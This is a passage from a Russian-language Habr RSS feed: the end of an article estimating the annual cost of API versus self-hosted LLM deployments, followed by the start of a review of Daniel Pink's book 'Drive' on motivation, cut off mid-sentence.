по всему трафику. Простые задачи идут с множителем 1.0, reasoning-задачи — с множителем 2–4. Результат: средний коэффициент, на который нужно умножить «наивный» output для получения реальной стоимости. Важно: reasoning multiplier применяется только к output-токенам, не к общей сумме.&lt;p&gt;Полный TCO сверх токенов включает FTE поддержки, compliance и ML Ops инструменты — считаем их отдельно.&lt;h4&gt;Пример расчёта для Frontier API (Opus 4.7, $5/$25)&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;effective_mult = 0.80 × 1 + 0.20 × 2.5 = &lt;strong&gt;1.30&lt;/strong&gt;&lt;li&gt;&lt;p&gt;Месячная база: 70M × $5 + 30M × $25 × 1.30 = $350 + $975 = &lt;strong&gt;$1,325&lt;/strong&gt;&lt;li&gt;&lt;p&gt;Годовая: × 12 = &lt;strong&gt;$15,900&lt;/strong&gt;&lt;li&gt;&lt;p&gt;С токенизатором 1.15: &lt;strong&gt;$18,285&lt;/strong&gt;&lt;li&gt;&lt;p&gt;С overhead 20%: &lt;strong&gt;$21,942&lt;/strong&gt;&lt;li&gt;&lt;p&gt;Плюс FTE поддержки (0.2 × $100K = $20K) и compliance (~$15K): &lt;strong&gt;~$57K/год&lt;/strong&gt;&lt;/ul&gt;&lt;p&gt;Диапазон при более агрессивных допущениях (50% reasoning, multiplier 4×, overhead 30%): до ~$75K/год.&lt;p&gt;&lt;em&gt;Используйте эту модель, как ориентир.&lt;/em&gt;&lt;h3&gt;Пример TCO по пяти опциям развёртывания&lt;/h3&gt;&lt;p&gt;Годовой TCO при базовом сценарии (100M токенов/мес, 80/20 mix, Global регион, типичная команда).&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th data-colwidth=208 width=208&gt;&lt;p align=left&gt;Статья расходов&lt;th&gt;&lt;p align=left&gt;Frontier API&lt;th&gt;&lt;p align=left&gt;Mid-tier API&lt;th&gt;&lt;p align=left&gt;Hosted OSS&lt;th&gt;&lt;p align=left&gt;Self-host 14B&lt;th&gt;&lt;p align=left&gt;Self-host 70B&lt;tr&gt;&lt;td data-colwidth=208 width=208&gt;&lt;p align=left&gt;Токены / инференс&lt;td&gt;&lt;p align=left&gt;$22K&lt;td&gt;&lt;p align=left&gt;$8K&lt;td&gt;&lt;p align=left&gt;$3K&lt;td&gt;&lt;p align=left&gt;—&lt;td&gt;&lt;p align=left&gt;—&lt;tr&gt;&lt;td data-colwidth=208 width=208&gt;&lt;p align=left&gt;GPU (амортизация)&lt;td&gt;&lt;p align=left&gt;—&lt;td&gt;&lt;p align=left&gt;—&lt;td&gt;&lt;p align=left&gt;—&lt;td&gt;&lt;p align=left&gt;$18K&lt;td&gt;&lt;p align=left&gt;$55K&lt;tr&gt;&lt;td data-colwidth=208 width=208&gt;&lt;p align=left&gt;FTE (люди)&lt;td&gt;&lt;p align=left&gt;$20K&lt;td&gt;&lt;p align=left&gt;$20K&lt;td&gt;&lt;p align=left&gt;$40K&lt;td&gt;&lt;p align=left&gt;$200K&lt;td&gt;&lt;p align=left&gt;$350K&lt;tr&gt;&lt;td data-colwidth=208 width=208&gt;&lt;p align=left&gt;ML Ops инструменты&lt;td&gt;&lt;p align=left&gt;—&lt;td&gt;&lt;p align=left&gt;—&lt;td&gt;&lt;p align=left&gt;$23K&lt;td&gt;&lt;p align=left&gt;$45K&lt;td&gt;&lt;p align=left&gt;$45K&lt;tr&gt;&lt;td data-colwidth=208 width=208&gt;&lt;p align=left&gt;Compliance&lt;td&gt;&lt;p align=left&gt;$15K&lt;td&gt;&lt;p align=left&gt;$15K&lt;td&gt;&lt;p align=left&gt;$20K&lt;td&gt;&lt;p align=left&gt;$45K&lt;td&gt;&lt;p align=left&gt;$45K&lt;tr&gt;&lt;td data-colwidth=208 width=208&gt;&lt;p align=left&gt;&lt;strong&gt;Итого годовой TCO&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;~$57K&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;~$43K&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;~$86K&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;~$308K&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;~$495K&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=208 width=208&gt;&lt;p align=left&gt;Стоимость на 1M токенов&lt;td&gt;&lt;p align=left&gt;$48&lt;td&gt;&lt;p align=left&gt;$36&lt;td&gt;&lt;p align=left&gt;$72&lt;td&gt;&lt;p align=left&gt;$257&lt;td&gt;&lt;p align=left&gt;$413&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4&gt;Почему 60–75% стоимости self-host — это люди, а не железо&lt;/h4&gt;&lt;p&gt;Это контринтуитивно, поэтому приводим пример расчета.&lt;p&gt;Возьмём Self-host 70B с vLLM (3× A100, умеренный регион):&lt;ul&gt;&lt;li&gt;&lt;p&gt;GPU: 3 × $2,200/мес × 12 = &lt;strong&gt;$79,200/год&lt;/strong&gt;&lt;li&gt;&lt;p&gt;FTE: 3.5 инженера × $100K = &lt;strong&gt;$350,000/год&lt;/strong&gt;&lt;li&gt;&lt;p&gt;ML Ops инструменты: &lt;strong&gt;$45,000/год&lt;/strong&gt;&lt;li&gt;&lt;p&gt;Compliance: &lt;strong&gt;$45,000/год&lt;/strong&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Итого: ~$519K/год&lt;/strong&gt;&lt;/ul&gt;&lt;p&gt;Доля железа: $79K / $519K = &lt;strong&gt;15%&lt;/strong&gt;. Доля людей: $350K / $519K = &lt;strong&gt;67%&lt;/strong&gt;.&lt;p&gt;Почему нужно именно 3.5 FTE? Это не абстрактная цифра. Self-host LLM в production включает:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Деплой и конфигурация инференс-стека (vLLM, батчинг, квантизация): разово 2–4 недели DevOps&lt;li&gt;&lt;p&gt;&lt;strong&gt;Eval pipeline&lt;/strong&gt;: без систематической оценки качества вы не поймёте, когда модель деградировала. Это отдельный ML-инженер минимум на 0.5 ставки&lt;li&gt;&lt;p&gt;&lt;strong&gt;Model updates&lt;/strong&gt;: Llama 3.3 → Llama 4 — это не замена одной строки в конфиге. Тест на eval-наборе, ре-тюнинг промптов, A/B, откат если сломалось. Цикл 2–4 недели, каждые 3–6 месяцев&lt;li&gt;&lt;p&gt;&lt;strong&gt;Security и compliance&lt;/strong&gt;: аудит логов, контроль доступа, сертификация. Особенно тяжело для регулируемых вертикалей&lt;li&gt;&lt;p&gt;&lt;strong&gt;Дежурство на инфре&lt;/strong&gt;: GPU-ноды падают, VRAM OOM при пиках, rate-limiter в вашей же инфре&lt;/ul&gt;&lt;p&gt;Для 14B-модели, где задачи проще, — 2.0 FTE и TCO ~$308K. Для 70B — 3.5 FTE.&lt;p&gt;В этой Хабр-статье &lt;a href=https://habr.com/ru/companies/avito/articles/950926/ rel=&#34;noopener noreferrer nofollow&#34;&gt;про архитектуру ML-платформы Авито&lt;/a&gt; описан реальный процесс поддержки, настройки собственных LLM, и даже на этом отдельном примере понятно что, eval-пайплайн занимает существенную часть времени и стоит денег.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Вывод:&lt;/strong&gt; прежде чем считать GPU, посчитайте людей. Self-host становится экономически выгодным только там, где FTE уже есть и не добавляются ради LLM - то есть у команд с зрелой ML-платформой, где эти люди уже занимаются другими задачами.&lt;/blockquote&gt;&lt;h4&gt;Врезка: Self-host как инфраструктура анонимизации — и что это меняет в расчёте&lt;/h4&gt;&lt;p&gt;&lt;em&gt;Это отдельная тема, заслуживающая отдельной статьи. Здесь — короткий контур сценария.&lt;/em&gt;&lt;p&gt;Есть архитектурный паттерн, который обсуждается меньше, чем заслуживает: &lt;strong&gt;использование небольшой локальной модели как шлюза анонимизации&lt;/strong&gt; перед отправкой данных в frontier API.&lt;p&gt;Сценарий: у вас есть документы с ПДн клиентов или коммерческой информацией, которые нельзя отправлять наружу в исходном виде. Локальная 7–14B-модель работает как preprocessing-слой: находит и заменяет чувствительные сущности (имена, ИНН, суммы, реквизиты) на синтетические плейсхолдеры, отправляет деперсонифицированный текст в frontier API, получает ответ — и конвертирует плейсхолдеры обратно в реальные данные.&lt;p&gt;Что это меняет в расчёте:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Self-host 7–14B для анонимизации стоит существенно меньше, чем self-host для основного инференса. При 2× A100 с vLLM и 80% utilization — порядка $30–50K/год&lt;li&gt;&lt;p&gt;Frontier API при этом остаётся основным «мозгом» — и его стоимость мы уже посчитали (~$57K/год для 100M токенов)&lt;li&gt;&lt;p&gt;Итоговый TCO этого гибрида: ~$90–120K/год против ~$308–495K для полного self-host&lt;/ul&gt;&lt;p&gt;Это по факту &lt;strong&gt;гибрид&lt;/strong&gt; — и скорее всего, именно к такому сценарию придёт большинство компаний из регулируемых вертикалей. Сейчас тоже активно развивается класс готовых решений и конкретный микс будет сильно отличаться от организации к организации: одним хватит простого NER-шлюза на 7B, другим нужен более сложный препроцессинг с пониманием контекста на 14B, кто-то и вовсе ограничится простыми ML-классификаторами (fastText, SetFit) и библиотеками для анонимизации персональных данных (Microsoft Presidio, DataFog) &lt;p&gt;Главное, что нужно понять про этот сценарий: он не отменяет инфраструктурный оверхед self-host. Нужны полноценная ML-инфра, DevOps-поддержка, compliance и security? потому что вопрос закрытия рисков и соответствия регуляторике никуда не уходит. Но офлоад основной inference-нагрузки в frontier при этом обходится не так дорого, как мы уже посчитали.&lt;p&gt;&lt;em&gt;Детальный разбор паттернов анонимизации с LLM, включая ограничения и риски обратной конвертации — тема для отдельной статьи.&lt;/em&gt;&lt;h3&gt;Матрица решений&lt;/h3&gt;&lt;p&gt;Бинарный «build или buy» мёртв. Решение принимается по четырём осям:&lt;p&gt;&lt;strong&gt;Ось 1 — Объём (токенов/мес)&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&amp;lt;10M — почти всегда API. Self-host не окупится ни при каких параметрах без regulatory-требований&lt;li&gt;&lt;p&gt;10–500M — зона решения, зависит от остальных осей&lt;li&gt;&lt;p&gt;500M+ — self-host или hosted OSS начинают выигрывать по unit economics при зрелой команде&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Ось 2 — Регуляторный периметр&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Данные можно отправлять наружу — API&lt;li&gt;&lt;p&gt;Данные чувствительны, но допустим DPA — API с enterprise-контрактом (Anthropic и OpenAI дают BAA/DPA)&lt;li&gt;&lt;p&gt;Данные за периметр нельзя (ЦБ, 152-ФЗ, КИИ) — self-host или гибрид с анонимизацией&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Ось 3 — Latency и SLA&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;P95 &amp;gt;2 секунд допустим — API&lt;li&gt;&lt;p&gt;P95 &amp;lt;500 мс, 99.9% uptime — self-host даёт больше контроля&lt;li&gt;&lt;p&gt;Streaming для UX без жёстких SLA — API с fallback&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Ось 4 — Зрелость команды&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Нет ML-команды — API&lt;li&gt;&lt;p&gt;1–2 ML-инженера — Hosted OSS как промежуточный шаг&lt;li&gt;&lt;p&gt;3+ ML + DevOps с GPU-опытом — self-host реалистичен&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Pure API.&lt;/strong&gt; Стартап, PoC, нерегулируемый домен, &amp;lt;10M токенов/мес. Оптимизируйте prompt и выбор модели.&lt;p&gt;&lt;strong&gt;Hosted OSS.&lt;/strong&gt; Нужна гибкость модели, бюджет ограничен, держать железо не хочется. Together AI, Fireworks, DeepInfra (глобально), Selectel и MTS AI (в РФ). Экономика open-source без операционного бремени.&lt;p&gt;&lt;strong&gt;Hybrid — дефолт 2026 для средних и крупных.&lt;/strong&gt; Frontier API для reasoning-heavy (10–20% задач) + локальная SLM или mid-tier API для рутины (80–90%). Сюда же входит паттерн анонимизации, описанный выше.&lt;p&gt;&lt;strong&gt;Full self-host.&lt;/strong&gt; Регулируемые вертикали, &amp;gt;500M токенов/мес, зрелая команда, критичная IP-защита.&lt;h3&gt;Региональный контекст: СНГ и ЦА&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Регуляторика — не checkbox, а cost driver.&lt;/strong&gt; 152-ФЗ в РФ, закон о ПДн в КР (2024), аналогичные нормы в РК и РУз — конкретное ограничение: если LLM-пайплайн обрабатывает ПДн клиентов, отправка в Anthropic или OpenAI будет просто невозможна.&lt;p&gt;&lt;strong&gt;GPU — дефицит, наценка и логистический оверхед.&lt;/strong&gt; Получение высокопроизводительных GPU (H100, A100) для российских и центрально-азиатских компаний усложнено санкционным режимом. NVIDIA и большинство западных производителей чипов подпадают под экспортные ограничения; &lt;a href=https://timesavingmachine.com/blog/delivery/procurement-strategies-for-russian-businesses-sanctioned-it-equipment-supply/ rel=&#34;noopener noreferrer nofollow&#34;&gt;поставки идут через посредников&lt;/a&gt; с соответствующим логистическим и compliance-оверхедом — отсюда наценка 20–40% к глобальным ценам, нестабильность поставок.&lt;h3&gt;Код и API — особый случай&lt;/h3&gt;&lt;p&gt;Код редко является персональными данными, и многие организации готовы отправлять его во внешние API.&lt;p&gt;Практическое правило:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Рефакторинг, баг-фикс, генерация тестов → mid-tier или локальная 7–14B. Экономия 5–10× без заметной потери качества&lt;li&gt;&lt;p&gt;Архитектурные решения, security review, сложная генерация с контекстом 100K+ → Frontier API с контролем объёма&lt;li&gt;&lt;p&gt;Гибридный подход: черновики — локально; финальный review — через Frontier с логированием&lt;/ul&gt;&lt;h3&gt;Чек-лист перед принятием решения&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Что измерить:&lt;/strong&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Текущий и прогнозный объём токенов (input + output, по задачам)&lt;li&gt;&lt;p&gt;Доля задач, закрываемых mid-tier моделью vs требующих frontier&lt;li&gt;&lt;p&gt;Регуляторный статус данных: можно ли отправлять наружу, при каких условиях&lt;li&gt;&lt;p&gt;Доступные ML/DevOps FTE и их текущая загрузка&lt;li&gt;&lt;p&gt;Целевой SLA (latency P50/P95, uptime)&lt;li&gt;&lt;p&gt;Текущий API-spend и динамика за 6 месяцев&lt;li&gt;&lt;p&gt;Стоимость downtime: сколько бизнес теряет за час без LLM-функциональности&lt;/ol&gt;&lt;h3&gt;Итог&lt;/h3&gt;&lt;p&gt;Правильный вопрос не «подписка или железо», а &lt;strong&gt;какую часть AI-стека вы готовы контролировать — и хватит ли людей, чтобы этот контроль не стал новым источником риска&lt;/strong&gt;.&lt;p&gt;Self-host «ради экономии на токенах» в 2026 году — плохой кейс почти для всех. Self-host ради контроля данных, latency и supply-hedge — другой разговор.&lt;h2&gt;Почитать:&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/ru/companies/bothub/news/1019222/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Anthropic убрала «безлимит» для агентных сценариев Claude — Хабр/BotHub&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://www.nxcode.io/resources/news/gpt-5-4-api-developer-guide-reasoning-computer-use-2026 rel=&#34;noopener noreferrer nofollow&#34;&gt;GPT-5.4 API Developer Guide: reasoning effort levels — NxCode&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://www.finout.io/blog/claude-opus-4.7-pricing-the-real-cost-story-behind-the-unchanged-price-tag rel=&#34;noopener noreferrer nofollow&#34;&gt;Claude Opus 4.7: The Real Cost Story Behind the Unchanged Price Tag — Finout&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://timesavingmachine.com/blog/delivery/procurement-strategies-for-russian-businesses-sanctioned-it-equipment-supply/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Procurement strategies for Russian businesses under sanctions — TimeSavingMachine&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/ru/companies/avito/articles/950926/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Avito: Локальные LLM для автоматизации — Хабр&lt;/a&gt;&lt;/ul&gt;&lt;p&gt;&lt;em&gt;Дисклеймер: все цифры — directional-оценки для планирования. Перед инвестиционными решениями валидируйте на логах вашего реального трафика.&lt;/em&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>Xronofag</author>
      <guid>https://habr.com/ru/articles/1024850/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024850</guid>
      <pubDate>Fri, 17 Apr 2026 18:33:25 +0000</pubDate>
    </item>
    <item>
      <title>Что нас мотивирует на самом деле и почему «кнут и пряник» давно уже плохо работают. Обзор книги Дэниэля Пинка</title>
      <link>https://habr.com/ru/articles/1024846/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024846</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/ae9/33b/8d0/ae933b8d019571414f2a76dccdc40bd9.jpg width=2048 height=2048 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/ae9/33b/8d0/ae933b8d019571414f2a76dccdc40bd9.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/ae9/33b/8d0/ae933b8d019571414f2a76dccdc40bd9.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h2&gt;Введение&lt;/h2&gt;&lt;p&gt;Я работаю по профессии разработчика ПО с 2009 г. и накопил достаточно примеров того, что меня мотивировало как к работе, так и к сторонней деятельности, и что, напротив, препятствовало этому. Недавно получилось глубже погрузиться в вопрос мотивации, когда на глаза попалась книга Дэниэля Пинка «Drive. The Surprising Truth About What Motivates Us» (с англ. «Драйв. Удивительная правда о том, что нас мотивирует»). Этот труд входит в список бестселлеров по версии The New York Times и подкрепляет свои выводы обширным набором ссылок на различные исследования и эксперименты. Главная идея — система мотивации людей зародилась ещё когда наши предки мало чем отличались от других животных и сводилась к «ищи еду и партнёра, избегай хищников», потом, с формированием общества и становлением человека как социального существа, она развилась до внешних факторов поощрения социально-полезных активностей и наказания социально-вредных (кратко, «пряник и кнут»), но с бурным ростом творческого интеллектуального труда эта система мотивации вышла на новый уровень, основываясь на стремлении людей к достижению сочетания автономии, мастерства и осмысленности. Именно эту триаду автор продвигает как основной механизм мотивации в современном мире. На Хабре нашёл лишь упоминание этой книги без обзора, поэтому решил поделиться своими заметками, сделанными в ходе прочтения.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/626/f7c/f1e/626f7cf1e700b6400095d0e1931f18f7.jpeg width=800 height=1200 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/626/f7c/f1e/626f7cf1e700b6400095d0e1931f18f7.jpeg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/626/f7c/f1e/626f7cf1e700b6400095d0e1931f18f7.jpeg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h2&gt;Почему деньги не (всегда) главное&lt;/h2&gt;&lt;p&gt;Начну с абстрактного сравнения. Представим два проекта. За одним стоит целая корпорация, оцениваемая на тот момент в десятки миллиардов долларов. Она нанимает менеджеров, чтобы всё шло по плану к успеху, профессионалов для непосредственной реализации, и специалистов по продажам, чтобы донести производимый продукт до аудитории и выйти на прибыль. За вторым же проектом не стоит практически никто, если не считать небольшой компании, предоставившей серверы, и группы энтузиастов без высоких должностей и званий. Объём денег, выделенных на первый проект, несравнимо выше, но это ему не помогло, он полностью провалился. Про первый вы вообще вряд ли когда-либо слышали, в отличие от второго, который стал одним из самых популярных сайтов в мире. Эти два проекта — энциклопедии, MSN Encarta от Microsoft и… как вы наверное догадались Википедия.&lt;p&gt;Вообще говоря, тезис «деньги не главное» можно услышать часто, и многим знакомы личные примеры или примеры публичных инициатив из новостей, где вложенные большие деньги не приводили к успеху. Но в рассматриваемой мной книге Дэниэль фокусируется больше на личном, а не на корпоративном уровне, и на влияние старой системы мотивации «кнута и пряника» на персональную мотивацию. Эта старая система мотивации называется Мотивация 2.0, по сравнению с существенно более животной Мотивацией 1.0. Но из личной мотивации сотрудников/участников отчасти складывается и успешность компаний/организаций.&lt;p&gt;На базе целого ряда исследований для разных сфер деятельности, возраста, географии автор выводит 7 недостатков старой системы 2.0:&lt;ol&gt;&lt;li&gt;&lt;p&gt;может уничтожать внутреннюю мотивацию;&lt;li&gt;&lt;p&gt;может уменьшать производительность;&lt;li&gt;&lt;p&gt;может убивать творческий подход;&lt;li&gt;&lt;p&gt;может вытеснять хорошее поведение;&lt;li&gt;&lt;p&gt;может способствовать мошенничеству, поиску слишком лёгких путей и неэтичному поведению;&lt;li&gt;&lt;p&gt;может вызывать зависимость;&lt;li&gt;&lt;p&gt;может культивировать краткосрочное мышление.&lt;/ol&gt;&lt;p&gt;Пункт 5 здесь, пожалуй, наиболее простой. Если от некоторых показателей зависит уровень достатка, люди склонны думать о форме, а не о содержании, и подгонять эти показатели под требуемые или вообще откровенно их фальсифицировать. Цифры красивые, все получили премии, а на деле — всё грустно. Пункт 1, однако, кажется контринтуитивным — как вознаграждение может снижать мотивацию? Но здесь автор приводит среди прочего простой эксперимент с детьми, которых разделили на три группы и дали фломастеры и бумагу для рисования. Первой группе явно сказали — за хорошее рисование вы получите награду, второй ничего не сказали и просто в конце первой половины эксперимента вознаградили, третья не ожидала и не получила ничего. Наблюдения в ходе второй половины эксперимента внезапно показали, что первая группа показала значительно меньший интерес к рисованию и провела за ним меньше времени, в то время как вторая и третья сохранили начальный уровень.&lt;p&gt;Подобные исследования проводились и со взрослыми. «&lt;em&gt;Тщательное изучение эффектов вознаграждения, описанных в 128 экспериментах, приводит к выводу, что материальные вознаграждения, как правило, оказывают существенно негативное влияние на внутреннюю мотивацию&lt;/em&gt;», — заключили исследователи. «&lt;em&gt;Когда институты — семьи, школы, предприятия и спортивные команды, например, — сосредотачиваются на краткосрочной перспективе и выбирают путь контроля над поведением людей&lt;/em&gt;», они наносят значительный долгосрочный ущерб, пишет автор.&lt;p&gt;Но это вовсе не значит, что материальные вознаграждения вообще не важны. Всем нужно что-то есть, во что-то одеваться, чем-то платить за жильё и т. д. Тысячелетиями Мотивация 2.0 вполне работала. Дэниэль прямо говорит: «&lt;em&gt;Отправной точкой, конечно же, является обеспечение адекватности и справедливости базовых вознаграждений — заработной платы, льгот и так далее. Без здорового базового уровня мотивация любого рода затруднена, а зачастую и вовсе невозможна&lt;/em&gt;».&lt;p&gt;В соответствии с типами мотивации 2.0 и 3.0 автор разделяет людей на Тип X (англ. «extrinsic», внешний), восприимчивый в первую очередь к внешним стимулам, и на Тип I (англ. «intrinsic», внутренний), более склонный полагаться на внутренние.&lt;h2&gt;Что же движет нами&lt;/h2&gt;&lt;h3&gt;Автономия&lt;/h3&gt;&lt;p&gt;Идея управления людьми, пишет автор, основана на определённых предположениях о фундаментальной природе тех, кем управляют. Нет награды — не будут делать, что надо. Нет наказания — будут делать то, что не надо. Но действительно ли такова природа человека? Это ли наша «настройка по умолчанию»? Рождаются ли люди пассивными и инертными или, наоборот, активными и вовлечёнными? Дэниэль убеждён, что наша основная природа — это любопытство и самонаправленность, и приводит четыре составляющие автономности (4T), дающие человеку значительный рост мотивации:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Что люди делают (task).&lt;li&gt;&lt;p&gt;Когда они это делают (time).&lt;li&gt;&lt;p&gt;Как они это делают (technique).&lt;li&gt;&lt;p&gt;С кем они это делают (team).&lt;/ol&gt;&lt;p&gt;И здесь легко вспоминаются примеры гибкого графика («time») и фокуса на результат при свободном выборе способа его достижения («technique»), часто встречающиеся например в IT. С «task» и «team» сложнее: здесь редко можно встретить отсутствие чётких директив сверху или постоянных организационных структур, разве что можно рассмотреть примеры хакатонов или выделения 20% рабочего времени на свободные проекты за рамками текущих рабочих обязанностей, что например было &lt;a href=https://en.wikipedia.org/wiki/Side_project_time rel=&#34;noopener noreferrer nofollow&#34;&gt;популяризовано Google&lt;/a&gt;.&lt;p&gt;Дэниэль вновь обращает внимание на качественный сдвиг характера труда, произошедший на рубеже веков: «&lt;em&gt;Для рутинных задач, характерных для большей части двадцатого века, требование подчинения обычно работало отлично. Но это было тогда. Для задач XXI века, имеющих определяющее значение, такая стратегия оказывается неэффективной, зачастую крайне неэффективной. Решение сложных проблем требует пытливого ума и готовности экспериментировать, чтобы найти новое решение. Если Мотивация 2.0 стремилась к подчинению, то Мотивация 3.0 стремится к вовлечённости&lt;/em&gt;».&lt;h3&gt;Мастерство&lt;/h3&gt;&lt;p&gt;«&lt;em&gt;Желание заниматься чем-то, потому что это приносит глубокое удовлетворение и представляет собой личный вызов, вдохновляет на самые высокие уровни творчества, будь то искусство, наука или бизнес&lt;/em&gt;» — в книге приводятся слова Гарвардского профессора Терезы Амабиль.&lt;p&gt;Неотъемлемой частью таких высоких уровней творчества Дэниэль называет «состояние потока» и приводит несколько примеров того, в чём оно проявляется. 11 000 ученых и инженеров, опрошенных в компаниях США, сообщили, что стремление к интеллектуальным вызовам — то есть желание освоить что-то новое и интересное — является лучшим показателем производительности труда. Люди вообще склонны к тревоге, когда то, что им нужно сделать, превышает их возможности. Когда то, что им нужно сделать, не соответствует их возможностям, результатом становится скука. Но когда всё идеально совпадает, результаты могут быть великолепными. В этом и заключается суть состояния потока.&lt;p&gt;Особо автор подчёркивает важность состояния, названного психологом Михаем Чиксентмихайи «автотелическими переживаниями» — от греческих слов «auto» (само, собственный) и «telos» (цель или предназначение). В автотелическом переживании цель самоисполняющаяся, а сама деятельность является наградой. Михай также является автором самой концепции &lt;a href=https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%82%D0%BE%D0%BA_(%D0%BF%D1%81%D0%B8%D1%85%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F) rel=&#34;noopener noreferrer nofollow&#34;&gt;«состояния потока»&lt;/a&gt;, как «&lt;em&gt;психического состояния, в котором человек полностью включён в то, чем он занимается, что характеризуется деятельным сосредоточением, полным вовлечением в процесс деятельности&lt;/em&gt;».&lt;p&gt;«&lt;em&gt;На протяжении всей моей спортивной карьеры главной целью всегда было стать лучше, чем я был в тот или иной момент — будь то на следующей неделе, в следующем месяце или в следующем году. Целью было именно улучшение. Медаль была лишь высшей наградой за достижение этой цели&lt;/em&gt;» — в книге приводится цитата Себастьяна Коу, бегуна на средние дистанции и двукратного олимпийского чемпиона.&lt;p&gt;Автор приводит три закона мастерства:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Мастерство — это образ мышления&lt;/strong&gt;. Автор противопоставляет фреймворки мышления Мотивации 2.0 (Тип X) и 3.0 (Тип I). «&lt;em&gt;Люди с поведением Типа X часто придерживаются теории врождённых способностей, им важнее показать результат, чем чему-то научиться, и они скептически относятся к усердию, видя в нём лишь доказательство нехватки таланта. Поведение Типа I основывается на инкрементальной теории интеллекта, то есть на том что врождённые способности можно развивать: такие люди ценят обучение выше внешних показателей и приветствуют усердие как способ достичь мастерства в чём-то важном. Начните с одной установкой — и мастерство может оказаться недостижимым. Начните с другой — и оно станет неизбежным&lt;/em&gt;», пишет Дэниель.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Мастерство — это боль&lt;/strong&gt;. Как бы ни было прекрасно находиться в состоянии потока, путь к мастерству — постоянное совершенствование в том, что вам дорого, — не окружён радугой и единорогами. Если бы это было так, больше людей отправились бы в это путешествие. Мастерство — это больно. Иногда, а то и часто, это не доставляет удовольствия, подчёркивает автор. Таков один из уроков работы психолога Андерса Эрикссона, чьи новаторские исследования экспертной деятельности дали новую теорию того, что способствует мастерству. Как он выразился: «&lt;em&gt;Многие характеристики, которые когда-то считались отражением врождённого таланта, на самом деле являются результатом интенсивной практики в течение как минимум 10 лет&lt;/em&gt;».&lt;li&gt;&lt;p&gt;&lt;strong&gt;Мастерство — это асимптота&lt;/strong&gt;. Чтобы подчеркнуть бесконечный путь к совершенству, автор использует математическую концепцию асимптоты. «&lt;em&gt;Казалось бы, асимптота мастерства — это источник разочарования. Зачем стремиться к тому, чего невозможно достичь полностью? Но в этом кроется и притягательная сила. Почему бы не попробовать? Радость заключается скорее в самом процессе, чем в результате. В конечном счёте, мастерство привлекает именно тем, что оно ускользает&lt;/em&gt;».&lt;/ol&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/f38/499/317/f38499317f1f0da54cf3dff7642f8cf1.png width=331 height=307 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/f38/499/317/f38499317f1f0da54cf3dff7642f8cf1.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/f38/499/317/f38499317f1f0da54cf3dff7642f8cf1.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h3&gt;Осмысленность&lt;/h3&gt;&lt;p&gt;Автор ссылается на многие исследования психологов и экономистов, обнаруживших, что корреляция между деньгами и счастьем слабая — что после определенного (и довольно скромного) уровня большая сумма денег не приносит людям большего удовлетворения. Но некоторые социологи начали добавлять к этому наблюдению некоторые нюансы и Дэниэль приводит 